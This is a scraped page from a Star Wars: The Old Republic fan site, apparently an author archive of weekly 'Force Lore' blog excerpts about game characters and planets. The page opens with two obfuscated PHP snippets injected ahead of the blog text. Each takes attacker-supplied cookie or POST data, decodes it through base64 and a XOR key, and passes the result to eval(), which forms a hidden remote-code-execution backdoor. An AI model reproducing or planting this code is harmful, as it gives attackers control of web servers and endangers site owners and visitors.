$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> Daniel Sperelli – Corellian Run Radio
May 022012
 

By Daniel Sperelli

Welcome to the Force Lore, ladies and gentlemen!  Yes, it’s time for your weekly dose of the who is who, where is where, and why is, well, you get the picture.  The Star Wars Universe is ever expanding with more and more details added all the time.  To get the lowdown on all of this, you have to be able to turn somewhere, so you know the lore/dirt behind the game.  That’s what we hope to provide here at Force Lore.

Last week we began with a short gloss-over of Satele Shan, the Grand Master of the Jedi Order.  For a CG character, I’m sure there’s more than one person out there that has dreamt of Satele being a romantic availability for their character.  And why not?  She’s modeled well.  I’m not trying to be sexist… Hey!  I’m just a guy!

Follow me after the jump as we detail more of Satele and how she got started.

Continue reading »

Apr 252012
 

By Daniel Sperelli

The first quarter of this year has not been kind.  Plagued by family emergencies and technical issues, I’ve felt like I’m behind the 8-ball quite a few times.  The past two weeks have been no exception, dealing with some very harsh computer problems, both hardware and software.  And what better time for it to happen then when Legacy 1.2 goes live!  But enough about personal issues.  You’re here to read about Star Wars and what makes the universe we love to play TOR in, tick.

This week, we’re going to briefly jump into what is hopefully only a 2 part lore edition on the head of the Jedi Council in the game, Grand Master Satele Shan.  Follow me in after the jump and we’ll get to the meat-and-potatoes of this in-game babe.

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Apr 112012
 

By Danile Sperelli

Force Lore!  Your weekly extension into the stories that are behind people, places, and events within the Star Wars: The Old Republic game.  Each Wednesday, we take a look at some of the lore that makes up the Star Wars universe and how it effects you, the player, in your travels within the game.

This week, I’m hopping away (no pun intended with the whole Easter thing) from planets and settings.  Instead, I’m going to take you on a brief trek through something I think would be a welcomed addition and a much needed feature to SWTOR, In-Game events.  Switch all power to your front deflectors and follow me in as we make the jump.
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Apr 042012
 

It’s Wednesday.  Hello to all the CRR readers out there.  Welcome to Force Lore, your weekly dose of the who’s, the what’s, the when’s, and the why’s of the Star Wars Universe… Especially when it comes to anything dealing with the awesome MMO, The Old Republic.  In essence, we’re trying to be an out-of-game extension of the Datacrons found in-game.

This week, we’re looking at the last of the starting planets for the different classes found within Star Wars: The Old Republic.  Last, but not least, is the world of Nal Hutta, or as it’s known in the game, Hutta.  This is the starting area for the Imperial Agent and the Bounty Hunter, two of the classes for the Sith Empire.

I’m not going to lie.  I have procrastinated with this article all week long.  Partially because I’ve been enjoying the awesome weather that’s been abundant this last couple weeks.  But also because I’ve been working on custom content and writing for another project I have with my friend.  As my friend’s wife says to him, the same may apply to me: I only have enough room in the playroom in my head for so many toys at one time.  But, without further ado, let’s check out the biggest mobster planet in the game.  Follow me in after the jump!
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Mar 282012
 

By Daniel Sperelli

Hello everyone on this Wednesday afternoon.  It’s nearing the end of March and I feel like it should be the end of May.  The weather has been awesome here!  Last year at this time, I was still prepared to shovel snow.  Now, I’m ready to break the shorts out in order to sun some very white, chicken legs.  What a big change this year has been.  With the end of March quickly approaching, the team here at CRR are anticipating the release of Legacy 1.2, the first big content patch of Star Wars: The Old Republic.  If you haven’t checked out the weekly podcast here at CRR, please do so.  Carla, Maer, Jason, and myself talked a lot about the upcoming patch and the changes in store for the Legacy System.

But we’re not covering that here today.  Instead we’ll take a quick overveiw of the Republic’s center for crime and mischief, Ord Mantell, the starting world for the Trooper and the Smuggler.  Turn your comlinks on, link up your datapads, and let’s jump over to the world torn apart by civil war!

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